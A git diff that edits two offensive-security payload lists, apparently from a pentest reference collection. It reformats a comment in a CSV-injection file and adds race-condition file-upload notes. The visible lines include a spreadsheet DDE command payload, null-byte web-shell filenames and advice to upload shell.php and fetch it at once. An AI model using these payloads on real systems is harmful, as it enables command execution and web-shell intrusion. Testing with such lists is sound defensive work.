diff --git a/CSV-Injection/csv-injection-payloads.txt b/CSV-Injection/csv-injection-payloads.txt index 25fd8a3..f734884 100644 --- a/CSV-Injection/csv-injection-payloads.txt +++ b/CSV-Injection/csv-injection-payloads.txt @@ -238,7 +238,7 @@ Review: +cmd|'/c calc'!A1 # Circular references =A1 -(in cell A1 itself, causes circular reference) +# Note: When placed in cell A1 itself, this causes a circular reference error # ============================ # Remote File Inclusion diff --git a/File-Upload/file-upload-payloads.txt b/File-Upload/file-upload-payloads.txt index 12274e9..d9c5590 100644 --- a/File-Upload/file-upload-payloads.txt +++ b/File-Upload/file-upload-payloads.txt @@ -488,12 +488,16 @@ Upload to misconfigured alias/location shell.jsp%00.jpg shell.jspx +# ============================ +# RACE CONDITION FILE UPLOAD # ============================ # RACE CONDITION FILE UPLOAD # ============================ # Upload file quickly and access before validation/deletion # Technique: Concurrent upload and access requests +# Example: Upload shell.php and immediately request http://target.com/uploads/shell.php +# Use tools like Burp Suite Turbo Intruder or custom scripts to send simultaneous requests # ============================ # FILE UPLOAD WITH SIZE BYPASS